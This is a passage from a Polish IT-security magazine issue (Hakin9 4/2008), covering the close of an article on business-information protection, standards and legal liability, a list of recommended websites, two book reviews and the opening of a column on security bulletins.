okresowo analizę ryzyka. Zastosowane
zabezpieczenia powinny być
współmierne do zidentyfikowanych
zagrożeń. Z uwagi na koszty należy
rozważyć wdrożenie następujących
środków ochrony:

• działania organizacyjne

(opracowanie regulaminów,
procedur),

• ochrona czynna (np. wynajęcie firmy

ochroniarskiej),

• ochrona bierna (wdrożenie systemu

zabezpieczeń architektoniczno-
budowlanych, mechanicznych i
elektronicznych: systemu włamania
i napadu, systemu kontroli dostępu,
systemu sygnalizacji pożarowej,
systemu telewizji dozorowej, systemu
nagłośnienia ewakuacyjnego
budynku, systemu zasilania
awaryjnego, zintegrowanego systemu
bezpieczeństwa i w niezbędnym

Tabela 6.

Podstawowe zasady ochrony informacji

Podstawowe zasady ochrony informacji
Lp. Zasada

Treść zasady

1

Zasada przywilejów koniecznych

Każdy użytkownik systemu informatycznego posiada prawa ograniczone wyłącznie do tych,

które są konieczne do wykonywania powierzonych mu zadań

2

Zasada wiedzy koniecznej

Pracownicy posiadają wiedzę o systemie informatycznym, ograniczoną wyłącznie do

zagadnień, które są konieczne do realizacji powierzonych zadań

3

Zasada usług koniecznych

Zakres dostępnych usług systemu jest ograniczony tylko do tych, które są konieczne do

prawidłowego funkcjonowania organizacji

4

Zasada asekuracji zabezpieczeń Ochrona systemu informatycznego nie może opierać się wyłącznie o jeden mechanizm

zabezpieczenia, nawet gdy zastosowana technologia jest uznawana za wysoce

zaawansowaną i niezawodną

5

Zasada pracy zbiorowej

Wszyscy użytkownicy systemu informatycznego są świadomi konieczności ochrony

wykorzystywanych zasobów

6

Zasada indywidualnej

odpowiedzialności

Za utrzymanie właściwego poziomu bezpieczeństwa poszczególnych elementów systemu

informatycznego odpowiadają konkretne osoby, które mają świadomość tego za co są

odpowiedzialne i jakie konsekwencje poniosą jeżeli zaniedbają swoje obowiązki

7

Zasada obecności koniecznej

Prawo przebywania w określonych pomieszczeniach mają wyłącznie osoby, które są do tego

upoważnione lub posiadają tymczasową zgodę wydaną przez odpowiedni organ nadzorczy

8

Zasada stałej gotowości

System ochrony jest przygotowany do odparcia wszystkich realnych zagrożeń. Pod żadnym

pozorem nie może zdarzyć się sytuacja tymczasowego wyłączenia zabezpieczeń, która

pozostawi określone elementy systemu informatycznego bez ochrony

9

Zasada najsłabszego 'ogniwa

łańcucha'

Poziom bezpieczeństwa systemu informatycznego wyznacza najsłabszy (najmniej

zabezpieczony ) element tego systemu. Z reguły, włamanie do systemu odbywa się poprzez

wyszukiwanie luk w systemie ochrony

background image

BEZPIECZNA FIRMA

70

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

71

HAKIN9

4/2008

zakresie

• asekuracja (zawarcie umowy

ubezpieczeniowej).

Warto zauważyć, że nie wszystkie zasoby
informacyjne warto zabezpieczać lub
chronić – należy określić poziom ryzyka
akceptowalnego. Ważne jest, aby przyjęte
rozwiązania organizacyjne, środki
zabezpieczeń i ochrony oraz asekuracja
wzajemnie się uzupełniały.

Kształtowanie właściwej polityki

bezpieczeństwa fizycznego zasobów
(ochrona osób, mienia i informacji)
wymaga kompleksowego podejścia,
a nie działania na zasadzie intuicji.
Możemy wówczas mówić o prawdziwym
bezpieczeństwie, a nie o pozorach
bezpieczeństwa, tym bardziej, że
bezpieczeństwo fizyczne sporo kosztuje.
Poddaję to pod rozwagę zarządzającym
organizacjami.

Bezpieczeństwo

teleinformatyczne

Pierwszym standardem obejmującym
kompleksowo zarządzanie
bezpieczeństwem informacji jest norma
ISO 17799 (PN-ISO/IEC 17799: 2007).
Zawiera ona wytyczne zarządzania
bezpieczeństwem informacji. Dotyczy
następujących obszarów: bezpieczeństwa
fizycznego i środowiskowego,
bezpieczeństwa osobowego,
bezpieczeństwa IT, zarządzenia ciągłością
działania i zapewnienia zgodności z
przepisami prawa.

Zgodnie z normą informacja jest

aktywem, który – podobnie jak inne ważne
aktywa biznesowe – ma dla instytucji
wartość i dlatego należy ją odpowiednio
chronić. Z kolei bezpieczeństwo informacji
oznacza ochronę informacji przed różnymi
zagrożeniami w taki sposób, aby zapewnić
ciągłość działania – realizację celów
statutowych instytucji, zminimalizować
straty i zmaksymalizować zwrot nakładów
na inwestycje i działania o charakterze
biznesowym. Norma ISO 17799 odnosi się
do 7 aspektów informacji podlegających
ochronie: poufności, integralności,
dostępności, rozliczalności, autentyczności,
niezaprzeczalności i niezawodności.
W przypadku informacji biznesowych
stanowiących tajemnicę przedsiębiorstwa
największe znaczenie dla bezpieczeństwa

informacji ma ochrona poufności,
tzn. zapewnienie, żeby informacja
nie była udostępniana lub ujawniana
nieautoryzowanym osobom, podmiotom
lub procesom. Jak wynika z praktyki,
najczęściej z firm informacje wyciekają
za pośrednictwem poczty elektronicznej,
komunikatorów internetowych i sieci
bezprzewodowych. Cenne informacje
pracownicy wynoszą na płytach CD/DVD,
nagrane na pamięciach USB lub w postaci
dokumentów papierowych (kserokopie).
Zdarzają się przypadki podkupywania
pracowników, kradzieży sprzętu,
prowadzenia podsłuchów, czy szpiegostwa
gospodarczego i przemysłowego.

Oprócz normy ISO 17779 istnieją inne

standardy dotyczące bezpieczeństwa.
Przykładem może być standard
Wytyczne w sprawie bezpieczeństwa
systemów informacyjnych
, wydany przez
Organizację Rozwoju i Współpracy
Gospodarczej
(OECD), która zrzesza

najbardziej uprzemysłowione kraje
świata, w tym Polskę. Wytyczne te mogą
stanowić uzupełnienie norm dotyczących
bezpieczeństwa informacji.

Podstawą zarządzania

bezpieczeństwem informacji jest analiza
i zarządzanie ryzykiem. W oparciu o
wyniki procesu analizy ryzyka następuje
dobór zabezpieczeń. Zastosowane
zabezpieczenia powinny być efektywne
kosztowo i uwzględniać wymagania
wynikające z przepisów prawa,
wymagania biznesowe i wymagania z
analizy ryzyka zasobów posiadających
wartość dla działania instytucji. Ryzyko,
jakie powstaje po wprowadzeniu
zabezpieczeń, nazywamy ryzykiem
szczątkowym.

Przyjęta strategia analizy ryzyka

powinna uwzględniać warunki
charakterystyczne dla przedsiębiorstwa i
koncentrować się na działaniach związanych
z bezpieczeństwem, tam gdzie są one

Rysunek 2.

Związki w zarządzaniu ryzykiem

���������
����������

�������

������

������

��������������

�������

��������

�����������������

����������

���������

��������

����������

���������

������������

����������

����������

�������������

�������������
�����������������
��������������
���������������������

Tabela 7.

Dobre praktyki w przetwarzaniu dokumentów

Lp.

Dobre praktyki w przetwarzaniu dokumentów

1

obieg dokumentów kontrolowany (przekazywanie za pokwitowaniem odbioru)

2

dostęp do dokumentów elektronicznych zgodny z przyznanymi uprawnieniami

3

udostępnianie dokumentów tylko osobom uprawnionym

4

określona osobista odpowiedzialność za przetwarzanie dokumentów

5

dokumenty źródłowe odpowiednio chronione

6

dostęp do pomieszczeń kontrolowany

7

zapewnione warunki środowiskowe w pomieszczeniach

8

kopie awaryjne wykonywane i odpowiednio przechowywane

background image

BEZPIECZNA FIRMA

72

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

73

HAKIN9

4/2008

naprawdę potrzebne.

Raport techniczny ISO/IEC TR 13335-

3 przedstawia 4 warianty podejścia do
analizy ryzyka: podejście podstawowego
poziomu bezpieczeństwa, podejście
nieformalne, szczegółową analizę ryzyka
i podejście mieszane. Podstawowa
różnica pomiędzy nimi dotyczy stopnia
szczegółowości analizy ryzyka.

Podejście podstawowego poziomu

bezpieczeństwa polega na wprowadzeniu
standardowych zabezpieczeń niezależnie
od ryzyka wynikającego z analizy
zasobów, zagrożeń i podatności. Podejście
nieformalne
polega na wykorzystaniu wiedzy
i doświadczenia ekspertów, koncentruje
się na zasobach narażonych na wysokie
ryzyko. Z kolei szczegółowa analiza ryzyka
wymaga identyfikacji i wyceny aktywów,
oszacowania zagrożeń oraz oszacowania
podatności. Podejście czwarte, podejście

mieszane obejmuje dwa etapy. W
pierwszym etapie przeprowadza się ogólną
analizę ryzyka dla wszystkich zasobów z
uwzględnieniem ich wartości biznesowej
i ryzyka, na które są one narażone. Dla
wszystkich zidentyfikowanych zasobów, które
są ważne dla przedsiębiorstwa i narażone
na wysokie ryzyko, przeprowadza się później
szczegółową analizę ryzyka. W drugim
etapie dla pozostałych zasobów należy
zastosować podejście podstawowego
poziomu bezpieczeństwa.

Przyjęcie podejścia mieszanego

zalecane jest dla większości przedsiębiorstw.
Jest ono najbardziej efektywne
– szczegółowa analiza ryzyka dla zasobów
posiadających wartość lub narażonych
na wysokie ryzyko, a dla pozostałych
zasobów zastosowanie podstawowego
poziomu bezpieczeństwa, czyli wdrożenie
standardowych zabezpieczeń. Aby

skutecznie zarządzać bezpieczeństwem
informacji w przedsiębiorstwie,
należy wdrożyć system zarządzania
bezpieczeństwem informacji (SZBI).
Powinien on stanowić część składową
systemu zarządzania przedsiębiorstwem
i być oparty na podejściu wynikającym
z ryzyka biznesowego. Norma zaleca
podejście systemowe oparte na ciągłym
doskonaleniu zgodnie z cyklem PDCA
(Plan-Do-Check-Act) Deminga obejmującym:
ustanowienie SZBI, wdrożenie i eksploatację
SZBI, monitorowanie i przeglądy SZBI oraz
utrzymanie i doskonalenie SZBI.

Do certyfikacji systemów zarządzania

bezpieczeństwem informacji przeznaczona
jest norma BS 7799-2 (PN-ISO/IEC 27001:
2007)
. Norma 27001 umożliwia budowę w
przedsiębiorstwie zintegrowanego systemu
zarządzania jakością w oparciu o normę
ISO 9001 i normę ISO 17799. Wdrożenie
zintegrowanego systemu zarządzania
w przedsiębiorstwie pozwala osiągnąć
wymierne korzyści: objąć systemem
wszystkie obszary działania firmy, zwrócić
uwagę na ochronę informacji biznesowych
i ich wartość, zwiększyć zainteresowanie
w firmie technologiami ICT, spowodować
prowadzenie analizy i zarządzania
ryzykiem, zapewnić opracowanie planów
ciągłości działania, uzyskać przewagę nad
konkurencją i poprawić wizerunek firmy.

Bezpieczeństwo

dokumentów i nośników

Podstawowym warunkiem ładu
dokumentacyjnego w przedsiębiorstwie
jest ustalenie systemu obiegu
dokumentów i nośników oraz systemu
przechowywania i archiwowania
dokumentacji
. Instrukcje wewnętrzne
ustalające ład dokumentacyjny (instrukcja
kancelaryjna, instrukcja archiwalna)
tworzy się na podstawie obowiązujących
przepisów prawa, wymagań otoczenia
instytucjonalnego oraz potrzeb
biznesowych. Ład dokumentacyjny
określają przede wszystkim: ustawa
o narodowym zasobie archiwalnym
i archiwach
oraz rozporządzenia
wykonawcze do ustawy, przepisy
podatkowe, przepisy o rachunkowości,
przepisy o ubezpieczeniach społecznych
i zdrowotnych, o rentach i emeryturach,
przepisy prawa pracy oraz inne. Przepisy
prawa archiwalnego dotyczą całej

Podstawowe akty prawne związane z ochroną

informacji biznesowych:

• Ustawa – Kodeks cywilny – 1964 rok,
• Ustawa – Kodeks pracy – 1974 rok,
• Ustawa o narodowym zasobie archiwalnym i archiwach – 1983 rok,
• Ustawa o zwalczaniu nieuczciwej konkurencji – 1993 rok,
• Ustawa o prawie autorskim i prawach pokrewnych – 1994 rok,
• Ustawa o rachunkowości – 1994 rok,
• Ustawa o ochronie danych osobowych – 1997 rok,
• Ustawa o ochronie osób i mienia – 1997 rok,
• Ustawa – Kodeks karny – 1997 rok,
• Ustawa o ochronie informacji niejawnych – 1999 rok,
• Ustawa – Prawo własności przemysłowej – 2000 rok,
• Ustawa – Kodeks spółek handlowych – 2000 rok,
• Ustawa o dostępie do informacji publicznej – 2001 rok,
• Ustawa o udostępnianiu informacji gospodarczych – 2003 rok,
• Ustawa o przeciwdziałaniu nieuczciwym praktykom rynkowym – 2007 rok.

Terminologia

Podstawowe pojęcia związane z ochroną informacji biznesowych:

• tajemnica przedsiębiorstwa – nieujawnione do wiadomości publicznej informacje techniczne,

technologiczne, organizacyjne przedsiębiorstwa lub inne informacje posiadające wartość
gospodarczą, co do których przedsiębiorca podjął niezbędne działania w celu zachowania ich
w poufności,

• dane osobowe – wszelkie informacje dotyczące zidentyfikowanej lub możliwej do

zidentyfikowania osoby fizycznej,

• informacje niejawne – informacje, które wymagają ochrony przed nieuprawnionym

ujawnieniem, stanowiące tajemnicę państwową lub służbową,

• czyn nieuczciwej konkurencji – działanie sprzeczne z prawem lub dobrymi obyczajami,

jeżeli zagraża to lub narusza interes innego przedsiębiorcy lub klienta. Czynem nieuczciwej
konkurencji jest w szczególności naruszenie tajemnicy przedsiębiorcy,

• poufność – właściwość zapewniająca, że informacja nie jest udostępniana lub ujawniana

nieautoryzowanym osobom, podmiotom lub procesom.

background image

BEZPIECZNA FIRMA

72

HAKIN9 4/2008

OCHRONA INFORMACJI BIZNESOWYCH

73

HAKIN9

4/2008

dokumentacji przedsiębiorstwa, bez
rozróżniania jej na dokumentację jawną
i dokumentację niejawną. Oznacza
to, że zasady wydzielania, oceny i
brakowania dokumentacji niejawnej są
takie same, jak dla dokumentacji jawnej.
Różnica polega jedynie na zasadach
ochrony przed nieuprawnionym jej
ujawnieniem. Zgodnie z ustawą o
narodowym zasobie archiwalnym i
archiwach, dokumentację dzieli się na
dokumentację archiwalną i dokumentację
niearchiwalną
. Dokumentację archiwalną
przechowuje się wieczyście i oznacza
się symbolem A według kategorii
archiwalnej dokumentacji. Zgodnie
z przepisami ustawy dokumentację
archiwalną
stanowią wszelkiego rodzaju
akta i dokumenty, korespondencja,
dokumentacja finansowa, techniczna
i statystyczna, mapy i plany, fotografie,
filmy i mikrofilmy, nagrania dźwiękowe i
wideofonowe oraz inna dokumentacja,
bez względu na sposób jej wytworzenia,
mająca znaczenie jako źródło
informacji o wartości historycznej
Państwa Polskiego, jego organów
i innych państwowych jednostek
organizacyjnych oraz o jego stosunkach
z innymi państwami, o rozwoju życia
społecznego i gospodarczego, o
działalności organizacji o charakterze
politycznym, społecznym i gospodarczym,
zawodowym i wyznaniowym, o

organizacji i rozwoju nauki, kultury i
sztuki, a także o działalności samorządu
terytorialnego i innych samorządowych
jednostek organizacyjnych – powstała w
przeszłości i współcześnie. Dokumentacja
niearchiwalna
ma jedynie czasową,
praktyczną wartość dla przedsiębiorstwa
i podlega brakowaniu po upływie
obowiązujących okresów przechowywania.
Dokumentację tę oznacza się symbolem
B według kategorii archiwalnej
dokumentacji, uzupełnionym cyfrą arabską
lub literą i cyfrą arabską. Cyfra określa
okres przechowywania dokumentacji, który
liczy się w pełnych latach kalendarzowych,
od 1 stycznia roku następnego, w którym
została zakończona teczka akt spraw.
Podział rodzajowy dokumentacji dotyczący
poszczególnych spraw określa rzeczowy
wykaz akt
, który każda firma powinna
opracować.

Nadzór nad prawidłowym

kwalifikowaniem akt na kategorie
w państwowych i samorządowych
jednostkach organizacyjnych sprawują
archiwa państwowe, w pozostałych
jednostkach odpowiedzialność
spoczywa na ich kierownikach.
Czas przechowywania akt jest
zróżnicowany, np. akta osobowe i
płacowe oraz dokumentację składek
ubezpieczeniowych do celów
emerytalnych i rentowych przechowuje
się przez 50 lat (kategoria B50), dowody

księgowe przez 5 lat (kategoria B5)
– zgodnie z ustawą o rachunkowości,
kopie deklaracji rozliczeniowych,
imiennych raportów miesięcznych i
dokumentów korygujących składanych
do ZUS przez 10 lat (kategoria B10)
– zgodnie z ustawą o systemie
ubezpieczeń społecznych. Czas
przechowywania dokumentacji
niearchiwalnej nieokreślony w
przepisach prawnych ustala się na
podstawie własnej oceny przydatności
praktycznej, biorąc pod uwagę potrzeby
teraźniejsze i przyszłe przedsiębiorstwa.

Aby zapewnić bezpieczeństwo

dokumentów, oprócz zgodności z
przepisami prawa należy zapewnić
prawidłową rejestrację dokumentów
wpływających do firmy – również tych,
które wpłynęły drogą elektroniczną
(wcześniej należy je wydrukować)
i nadzorować ich obieg. Najlepiej,
aby obieg dokumentów odbywał
się za pokwitowaniem odbioru. Dla
dokumentów zawierających tajemnicę
przedsiębiorstwa należy opracować
procedury związane z powielaniem i
kopiowaniem dokumentów, procedury
przechowywania i archiwizacji oraz
procedury wynoszenia dokumentów poza
teren firmy, a wreszcie zapewnić ochronę
fizyczną pomieszczeń z dokumentacją.

Rysunek 3.

Model PDCA stosowany w procesach SZBI

���������������

�������������

���������������

�������������

���������������

������������������

���������������

���������������

����������������

������

������

������������

���������

�������

�������

�����������������

�������

������

���������������

�������������

�����������������

�����������������

������������������

�����������������

����������������

���������������

�����������������

background image

BEZPIECZNA FIRMA

74

HAKIN9 4/2008

Bezpieczeństwo

przemysłowe

Na koniec warto wspomnieć jeszcze
o bezpieczeństwie przemysłowym.
Problem bezpieczeństwa
przemysłowego dotyczy tylko tych
przedsiębiorców, którzy ubiegają się o
realizację umów lub zadań związanych
z dostępem do informacji niejawnych
stanowiących tajemnicę państwową
(informacje niejawne oznaczone
klauzulą tajne lub ściśle tajne).
Wykonawca umowy lub zadania musi
posiadać świadectwo bezpieczeństwa
przemysłowego.
Służby ochrony państwa wydają ww.
świadectwo po przeprowadzeniu
procedury postępowania
bezpieczeństwa przemysłowego.
W zależności od stopnia zdolności
do ochrony informacji niejawnych,
przedsiębiorcy mogą uzyskać
świadectwo bezpieczeństwa
przemysłowego I, II lub III stopnia. Ale to
temat na odrębny artykuł.

Odpowiedzialność

za naruszenie tajemnicy

Naruszenie tajemnicy przedsiębiorstwa
stanowi czyn nieuczciwej konkurencji.
Zgodnie z zapisami art. 11 ust. 1 ustawy
o zwalczaniu nieuczciwej konkurencji
,
czynem nieuczciwej konkurencji jest
przekazanie, ujawnienie lub wykorzystanie
cudzych informacji stanowiących
tajemnicę przedsiębiorstwa albo ich
nabycie od osoby nieuprawnionej,
jeżeli zagraża to lub naraża interes
przedsiębiorcy.

Odpowiedzialność cywilna

W razie dokonania czynu nieuczciwej
konkurencji, przedsiębiorca, którego
interes zastał zagrożony lub naruszony,
może żądać m. in.: zaniechania
niedozwolonych działań lub usunięcia
ich skutków, złożenia oświadczenia
o odpowiedniej formie i treści,
naprawienia wyrządzonej szkody,
wydania bezpodstawnie uzyskanych
korzyści i zasądzenia odpowiedniej
sumy pieniężnej na określony cel
społeczny – jeżeli czyn nieuczciwej
konkurencji był zawiniony. Roszczenia z
tytułu nieuczciwej konkurencji ulegają
przedawnieniu z upływem trzech lat.

Odpowiedzialność karna

Odpowiedzialność karną za naruszenie
tajemnicy przedsiębiorstwa określa art.
23 ustawy o zwalczaniu nieuczciwej
konkurencj
i. Osoba, która wbrew
ciążącemu na niej obowiązkowi
ujawnia lub wykorzystuje we własnej
działalności informacje stanowiące
tajemnicę przedsiębiorstwa w przypadku,
gdy wyrządza to poważną szkodę
przedsiębiorcy, podlega grzywnie, karze
ograniczenia wolności albo pozbawienia
wolności do lat 2. Tej samej karze podlega
ten, kto uzyskawszy bezprawnie informację
stanowiącą tajemnicę przedsiębiorstwa,
ujawnia ją lub wykorzystuje we własnej
działalności gospodarczej.

Również w kodeksie karnym w rozdziale

XXXIII – Przestępstwa przeciwko ochronie
informacji
, znajdziemy zapisy dotyczące
odpowiedzialności za ujawnienie lub
wykorzystanie informacji. Art. 266 § 1
stanowi: Kto, wbrew przepisom ustawy
lub przyjętemu na siebie zobowiązaniu,
ujawnia lub wykorzystuje informację, z którą
zapoznał się w związku z pełniona funkcją,
wykonywaną pracą, działalnością publiczną,
społeczną, gospodarczą lub naukową,
podlega grzywnie, karze ograniczenia
wolności albo pozbawienia wolności do lat
2
. Ściganie ww. przestępstw następuje na
wniosek pokrzywdzonego.

Odpowiedzialność

dyscyplinarna

Zgodnie z art. 100 § 2 ust. 4 i 5 kodeksu
pracy, pracownik jest obowiązany w
szczególności zachować w tajemnicy
informacje, których ujawnienie mogłoby
narazić pracodawcę na szkodę oraz
przestrzegać tajemnicy określonej w
odrębnych przepisach
. Należy zdać sobie
sprawę z tego, że nieprzestrzeganie
przez pracownika ww. zobowiązań
stanowi ciężkie naruszenie obowiązków
pracowniczych niezależnie od tego, czy
dotyczy to tajemnicy przedsiębiorstwa,
czy innych informacji. Zgodnie z art. 52 §
1 pracodawca może w takim przypadku
rozwiązać umowę o pracę z winy
pracownika. Warto o tym pamiętać.

Podsumowanie

Przepisy prawa nie określają metod i
sposobów ochrony informacji biznesowych
stanowiących tajemnicę przedsiębiorstwa,

tak jak ma to miejsce w przypadku
danych osobowych czy informacji
niejawnych, dla których to informacji
ustawodawca szczegółowo – w przepisach
wykonawczych – określił ich zasady
ochrony. W przypadku instytucji tajemnicy
przedsiębiorstwa ustawodawca pozostawił
przedsiębiorcom i przedsiębiorstwom
wolną rękę co do sposobu zabezpieczenia
tych informacji.

W praktyce firmy najczęściej

adaptują rozwiązania wynikające z
rozporządzeń wykonawczych do ww.
ustaw oraz stosują polskie normy
dotyczące bezpieczeństwa informacji,
które stanowią źródło tzw. dobrych praktyk,
a w szczególności PN-ISO/IEC 17799:
2007 Technika informatyczna – Techniki
bezpieczeństwa – Praktyczne zasady
zarządzania bezpieczeństwem informacji

i PN-ISO/IEC 27001: 2007 Technika
informatyczna – Techniki bezpieczeństwa
– Systemy zarządzania bezpieczeństwem
informacji – Wymagania
, w których
to znajdziemy cenne zalecenia
dotyczące bezpieczeństwa osobowego,
bezpieczeństwa fizycznego i
środowiskowego, bezpieczeństwa
dokumentów, nośników informacji i
bezpieczeństwa teleinformatycznego.

Krótko mówiąc, do ochrony informacji

biznesowych potrzebny jest system
zarządzania bezpieczeństwem informacji,
opracowanie planu bezpieczeństwa,
wdrożenie go w życie i ciągłe
doskonalenie. Na nic zdają się działania
doraźne, które usuwają jedynie skutki
niepożądanych działań lub zachowań, a
nie dotykają przyczyn zjawisk związanych z
wyciekaniem informacji z przedsiębiorstw.
Bezpieczeństwo informacji to proces, a
nie jednorazowy akt. W 80 procentach
to proces zarządczy, a w 20 procentach
– technologia, która wspiera zarządzanie.
Poddaję to pod rozwagę zarządzającym.

Reasumując, aby zapewnić

bezpieczeństwo informacji biznesowych,
potrzeba trochę wiedzy, trochę procedur,
trochę dobrej woli i trochę pieniędzy.

Andrzej Guzik

Audytor systemów zarządzania jakością i zarządzania

bezpieczeństwem informacji, specjalista w zakresie

ochrony informacji prawnie chronionych, redaktor portalu

www.ochronainformacji.pl.

Kontakt z autorem: a.guzik@ochronainformacji.pl

background image

Strony rekomendowane

Misją serwisu jest zaprezentowanie języ-

ków programowania oraz ułatwienie użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona firmy świadczącej profesjonalne

usługii IT, specjalizującej się w wypożycza-

niu serwerów i macierzy. Firma prowadzi

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal poświęcony technikom programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych,

nie należy ich wykorzystywać w niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal internetowy poświęcony w całości

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom

i rozrywce oraz najnowszym aplikacjom.

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dział downloads.

http://www.hakerczat.prv.pl/index.html

Portal dla wszystkich zainteresowanych te-

matyką bezpieczeństwa, audytem, IT Go-

vernance w sieciach i systemach teleinfor-

matycznych, a także ochroną danych.

http://www.locos.pl/

Witryna poświęcona w całości tematy-

ce hakingu. Początkujący w tej dziedzinie

znajdą na niej działy, ktore im umożliwią

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją serwisu jest dostarczenie dużej ilo-

ści informacji z zakresu informatyki. Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek

jak i kursy tworzenia portali www.

http://www.swww.pl/

Serwis poświęcony branży IT oferujący

codzienne newsy, artykuły, recenzje ma-

gazynów, testy oraz forum dyskusyjne.

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera.

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis Ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej się w nowoczesnych rozwią-

zaniach informatycznych, zaczynając od

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

76

KSIĄŻKI

HAKIN9 4/2008

Hacking zdemaskowany

– Bezpieczeństwo sieci – sekrety i rozwiązania

Przeczytałem tą książkę bardzo
dokładnie z klawiaturą w ręku, żeby od
razu ściągać, kompilować, próbować

tego o czym autorzy piszą.

Moje wrażenia są wielowymiarowe, a

każdy wymiar zależy od punktu widzenia. Jako
administrator sieci komputerowych dowiedziałem
się kilku nowych rzeczy. Przekonałem się również,
że żadna sieć, która w jakikolwiek sposób jest
dostępna z lub ma dostęp do internetu nie
jest bezpieczna. Jednakże mając prawie 12
lat doświadczenia w zawodzie administratora
systemów i sieci muszę przyznać, że niewiele
mnie zaskoczyło w tej ksiażce. Głównie z tego
powodu, że najprawdopodobniej część jej
rozdziałów pochodzi jeszcze z lat jej pierwszego
wydania tj 2001 roku. Trzeba też nadmienić, że
piąte wydanie ukazało się w 2005 roku, a my
mamy już 2008. Na polu informatyzacji to bardzo
wiele czasu.

Z punktu widzenia osoby, która poświęca czas

i środki na udowodnienie, że bezpieczne nie jest
wcale bezpieczne materiał zawarty w tej książce

jest mało ciekawy może poza teorią hakowania
kodu oraz wykorzystywania google do celów
łamania lub obchodzenia zabezpieczeń. Te dwa
względnie nowe nurty metod ataku pokazują
jak pomysłowi są cyberprzestępcy oraz jak
przeszukiwarki mogą stać się katastrofą firmy jeśli
nie zadba sie należycie o politykę udostępniania
wiadomości.

Pozostaje jeszcze punkt widzenia laika.

Tutaj byłbym zachwycony. Strony z gotowymi
narzędziami, skrypty, porady, przepisy krok po
kroku. Prawie jak scripkiddie. Tutaj jednak również
książka nie jest niestety wolna od wad – co przy
piątym wydaniu jest dla mnie zdecydowanym
minusem. Mianowicie spora część linków to 'Page
404'. Autorzy lub korektorzy mogliby następne
wydanie zaktualizować także pod tym kątem.

Komu poleciłbym tę książkę? Najszybciej

administratorom sieci, którzy ufają że ich serwer
jest nie do zdobycia, a sieć jest bezwzględnie
szczelna. Poleciłbym tą książkę również osobom
odpowiedzialnym za bezpieczeństwo firm – jako
ciekawostkę do poduszki.

Microsoft Windows

SharePoint Services 3.0 od środka

Na 414 stronach książki Ted Pattison
oraz Daniel Larson wprowadzają nas
w tajniki Microsoft Windows SharePoint

Services 3.0. Autorzy zakładają jednak, że czytelnik
ma już podstawowe informacje o platformie
.NET i technologiach Microsoft ASP.NET oraz
AJAX. Autorzy mimo to przypominają czytelnikowi
kilka podstawowych pojęć z tego zakresu w
rozdziale wstępnym. Należy jednak pamiętać, że
mimo braku znajomości omawianych w książce
technologii Microsoftu, da się ją zrozumieć
(o ile mieliśmy wcześniej do czynienia z
programowaniem).

Książka podzielona jest na 10 logicznie

ułożonych rozdziałów. Pierwszy z nich ma
charakter wprowadzenia. Są tutaj omówione
podstawowe kwestie, pomagające zrozumieć
czytelnikowi pozostałą część książki. Jeżeli jednak
zdarzy się tak, że tę bazową wiedzę nabyliśmy
już wcześniej, rozdział ten możemy spokojnie
pominąć, bo... najciekawsze jest dopiero przed
nami. W drugim z kolei rozdziale poznamy
architekturę tytułowej aplikacji – SharePoint. W tej

właśnie części książki dokładnie wyjaśniony jest
sposób działania narzędzia.

Kolejne rozdziały opisują tworzenie stron

i projektów, składniki Web Part, składniki Web
Part AJAX, listy i typy zawartości, biblioteki
dokumentów, a także przepływy pracy SharePoint
(najdłuższy rozdział w całej książce), instalację
oraz zabezpieczenia aplikacji. Warto zwrócić
uwagę właśnie na rozdział traktujący o przepływie
pracy SharePoint, gdyż zawiera on wiele
istotnych informacji, które przydadzą się podczas
implementowania własnych projektów. Nie mniej
znaczącym rozdziałem jest ten o bezpieczeństwie.
Również tutaj autorzy dokładnie opisują, jak i przed
czym chronić nasze aplikacje. W tym miejscu
należy zwrócić szczególną uwagę na to, co
czytamy, gdyż nadal wiele serwisów internetowych
jest słabo zabezpieczonych.

Po przeczytaniu książki możemy świeżo

nabytą wiedzę wykorzystać do tworzenia
internetowych aplikacji z użyciem elementów Web
Part oraz API Windows SharePoint.

Autorzy: Steve McClure, Joel

Scambray, Georg Kurtz

Wydawca: PWN

Rok wydania w Polsce: 2006

Liczba stron: 700

Recenzent: Daniel Zimnicki

Autorzy: Ted Pattison, Daniel

Larson

Wydawca: Promise

Rok wydania w Polsce: 2007

Liczba stron: 430

Recenzent: Roger Zacharczyk

background image
background image

FELIETON

78

HAKIN9 4/2008

Dla kogo biuletyn

bezpieczeństwa?

postrzegana w społeczności
(połączonej np. za pomocą Internetu)
jako jeden system o założonym

działaniu. I tak, użytkownikiem
indywidualnym jest każda osoba,
posiadająca własny komputer
osobisty oraz system, który wymaga
stałej kontroli poziomu wierzytelności
posiadanych zabezpieczeń, ze względu
na rolę jaką pełni w społeczności.
Aktualnie każdy użytkownik Internetu
jest zobowiązany do posiadania
pewnego poziomu zabezpieczeń, nie
tylko ze względu na bezpieczeństwo
swoje, ale także na fakt, iż jego
niesubordynacja w tym względzie może
zagrażać innym użytkownikom Sieci.
Np. SPAM wysyłany z jego komputera
powoduje obciążenie jego łącza, ale
także powoduje dyskomfort wielu
użytkowników odbierających pocztę, co
prędzej czy później będzie miało swoje
konsekwencje.

Użytkownikiem korporatywnym

jest pewna zbiorowość złożona z

O

sobę lub inny podmiot, który
wykorzystuje informacje
(posiada zdolność ich

poprawnej interpretacji) zawarte w
biuletynie, nazywamy użytkownikiem
końcowym (według art. 2 pkt. 50
ustawy z dnia 16 lipca 2004 r. prawa
telekomunikacyjnego użytkownikiem
